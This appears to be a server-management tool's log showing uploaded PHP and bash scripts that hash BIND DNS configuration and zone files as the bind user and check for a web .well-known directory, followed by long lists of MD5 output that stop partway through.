2026-05-31 06:00:06: Establishing a remote connection
2026-06-01 11:03:57: Establishing a remote connection
2026-06-01 11:04:06: Establishing a connection
2026-06-01 11:04:06: 

PUT: /tmp/pkp178722

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-01 11:04:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp178722; rm /tmp/pkp178722'

2026-06-01 11:04:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-01 11:04:12: Establishing a remote connection
2026-06-01 11:04:13: Establishing a remote connection
2026-06-01 11:04:13: 

PUT: /tmp/pkp328345

#!/bin/bash
if [ -d "/var/www/pjy_desktop/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-01 11:04:13: 

chmod 755 /tmp/pkp328345; /tmp/pkp328345; rm /tmp/pkp328345





2026-06-01 11:04:16: Establishing a connection
2026-06-01 11:04:16: Establishing a connection
2026-06-01 11:04:16: 

PUT: /tmp/pkp168998

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-01 11:04:16: 

runuser -l bind -s /bin/bash -c '/tmp/pkp168998; rm /tmp/pkp168998'

2026-06-01 11:04:16: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
